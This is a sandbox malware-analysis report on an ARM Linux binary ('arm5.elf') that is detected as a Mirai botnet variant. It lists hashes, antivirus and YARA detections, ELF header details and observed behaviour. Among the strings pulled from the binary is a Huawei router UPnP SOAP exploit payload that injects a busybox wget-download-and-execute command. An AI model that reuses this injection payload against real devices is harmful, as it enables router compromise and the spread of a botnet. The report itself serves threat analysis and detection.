Edit tour

Linux Analysis Report
arm5.elf

Overview

General Information

Sample name:arm5.elf
Analysis ID:1675205
MD5:b96f960582418a0e0213047cbd5042ef
SHA1:bcb1059a0726ba59b20d9e4eb4bb58e26c989919
SHA256:e988ef7bbc4b45b21d5b179c43afeb49387a500c8b2a885158d2b50c4e7833e9
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:72
Range:0 - 100

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious
Joe Sandbox version:42.0.0 Malachite
Analysis ID:1675205
Start date and time:2025-04-27 00:35:22 +02:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 15s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:arm5.elf
Detection:MAL
Classification:mal72.troj.linELF@0/0@0/0
Command:/tmp/arm5.elf
PID:5433
Exit Code:1
Exit Code Info:
Killed:False
Standard Output:

Standard Error:
  • system is lnxubuntu20
  • arm5.elf (PID: 5433, Parent: 5357, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/arm5.elf
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
arm5.elfJoeSecurity_Mirai_6Yara detected MiraiJoe Security
    arm5.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security
      SourceRuleDescriptionAuthorStrings
      5433.1.00007f143c017000.00007f143c02a000.r-x.sdmpJoeSecurity_Mirai_6Yara detected MiraiJoe Security
        5433.1.00007f143c017000.00007f143c02a000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
          Process Memory Space: arm5.elf PID: 5433JoeSecurity_Mirai_6Yara detected MiraiJoe Security
            No Suricata rule has matched

            Click to jump to signature section

            Show All Signature Results

            AV Detection

            barindex
            Source: arm5.elfAvira: detected
            Source: arm5.elfReversingLabs: Detection: 63%
            Source: arm5.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
            Source: arm5.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
            Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g
            Source: Initial sampleString containing 'busybox' found: -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
            Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
            Source: ELF static info symbol of initial sample.symtab present: no
            Source: classification engineClassification label: mal72.troj.linELF@0/0@0/0
            Source: /tmp/arm5.elf (PID: 5433)Queries kernel information via 'uname': Jump to behavior
            Source: arm5.elf, 5433.1.00007ffd6b87e000.00007ffd6b89f000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm5.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm5.elf
            Source: arm5.elf, 5433.1.000055ec8a022000.000055ec8a171000.rw-.sdmpBinary or memory string: U!/etc/qemu-binfmt/arm
            Source: arm5.elf, 5433.1.000055ec8a022000.000055ec8a171000.rw-.sdmpBinary or memory string: /usr/bin/vmtoolsd
            Source: arm5.elf, 5433.1.000055ec8a022000.000055ec8a171000.rw-.sdmpBinary or memory string: !/proc/1563/exe0!/usr/bin/vmtoolsd1/proc/3375/exe/arm/sr10!/usr/lib/xorg/Xorg!/proc/765/exe!/usr/bin/xfsettingsdpro!/proc/3795/exe/arm/usra
            Source: arm5.elf, 5433.1.000055ec8a022000.000055ec8a171000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
            Source: arm5.elf, 5433.1.00007ffd6b87e000.00007ffd6b89f000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm

            Stealing of Sensitive Information

            barindex
            Source: Yara matchFile source: arm5.elf, type: SAMPLE
            Source: Yara matchFile source: 5433.1.00007f143c017000.00007f143c02a000.r-x.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: arm5.elf PID: 5433, type: MEMORYSTR

            Remote Access Functionality

            barindex
            Source: Yara matchFile source: arm5.elf, type: SAMPLE
            Source: Yara matchFile source: 5433.1.00007f143c017000.00007f143c02a000.r-x.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: arm5.elf PID: 5433, type: MEMORYSTR
            ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
            Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management InstrumentationPath InterceptionPath InterceptionDirect Volume AccessOS Credential Dumping11
            Security Software Discovery
            Remote ServicesData from Local SystemData ObfuscationExfiltration Over Other Network MediumAbuse Accessibility Features
            No configs have been found
            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Number of created Files
            • Is malicious
            • Internet
            behaviorgraph top1 signatures2 2 Behavior Graph ID: 1675205 Sample: arm5.elf Startdate: 27/04/2025 Architecture: LINUX Score: 72 7 Antivirus / Scanner detection for submitted sample 2->7 9 Multi AV Scanner detection for submitted file 2->9 11 Yara detected Mirai 2->11 5 arm5.elf 2->5         started        process3
            SourceDetectionScannerLabelLink
            arm5.elf64%ReversingLabsLinux.Worm.Mirai
            arm5.elf100%AviraLINUX/GM.Mirai.ET
            No Antivirus matches
            No Antivirus matches
            No Antivirus matches
            No contacted domains info
            NameSourceMaliciousAntivirus DetectionReputation
            http://schemas.xmlsoap.org/soap/encoding/arm5.elffalse
              high
              http://schemas.xmlsoap.org/soap/envelope/arm5.elffalse
                high
                No contacted IP infos
                No context
                No context
                No context
                No context
                No context
                No created / dropped files found
                File type:ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
                Entropy (8bit):6.0824190560177875
                TrID:
                • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                File name:arm5.elf
                File size:75'240 bytes
                MD5:b96f960582418a0e0213047cbd5042ef
                SHA1:bcb1059a0726ba59b20d9e4eb4bb58e26c989919
                SHA256:e988ef7bbc4b45b21d5b179c43afeb49387a500c8b2a885158d2b50c4e7833e9
                SHA512:66ed9333b90553b1f087dc08645da2466a3545a69d2829d64ac8b5e5da0bc7a2d82642706a0d866ddd08b0efdc9a7d25c385db3e048f003481a59b81e0f04f8b
                SSDEEP:1536:RnGmRJjJSARU5JKBtpmyaz6yb1FCKzlWO+BGW23mBIzaJq:RnGmUrfKBzHyb1FvVmaV
                TLSH:6D732A51BD819A12C6D1127BFF6E428D372653A8D2EE7203DD256F2137CB85B0E3B642
                File Content Preview:.ELF...a..........(.........4...X$......4. ...(...................... ... ............... ... ... ..l....T..........Q.td..................................-...L."...\A..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

                ELF header

                Class:ELF32
                Data:2's complement, little endian
                Version:1 (current)
                Machine:ARM
                Version Number:0x1
                Type:EXEC (Executable file)
                OS/ABI:ARM - ABI
                ABI Version:0
                Entry Point Address:0x8190
                Flags:0x2
                ELF Header Size:52
                Program Header Offset:52
                Program Header Size:32
                Number of Program Headers:3
                Section Header Offset:74840
                Section Header Size:40
                Number of Section Headers:10
                Header String Table Index:9
                NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                NULL0x00x00x00x00x0000
                .initPROGBITS0x80940x940x180x00x6AX004
                .textPROGBITS0x80b00xb00x105a80x00x6AX0016
                .finiPROGBITS0x186580x106580x140x00x6AX004
                .rodataPROGBITS0x1866c0x1066c0x1a3c0x00x2A004
                .ctorsPROGBITS0x220ac0x120ac0x80x00x3WA004
                .dtorsPROGBITS0x220b40x120b40x80x00x3WA004
                .dataPROGBITS0x220c00x120c00x3580x00x3WA004
                .bssNOBITS0x224180x124180x50a80x00x3WA004
                .shstrtabSTRTAB0x00x124180x3e0x00x0001
                TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                LOAD0x00x80000x80000x120a80x120a86.11400x5R E0x8000.init .text .fini .rodata
                LOAD0x120ac0x220ac0x220ac0x36c0x54142.65760x6RW 0x8000.ctors .dtors .data .bss
                GNU_STACK0x00x00x00x00x00.00000x7RWE0x4
                No network behavior found

                System Behavior

                Start time (UTC):22:36:05
                Start date (UTC):26/04/2025
                Path:/tmp/arm5.elf
                Arguments:/tmp/arm5.elf
                File size:4956856 bytes
                MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1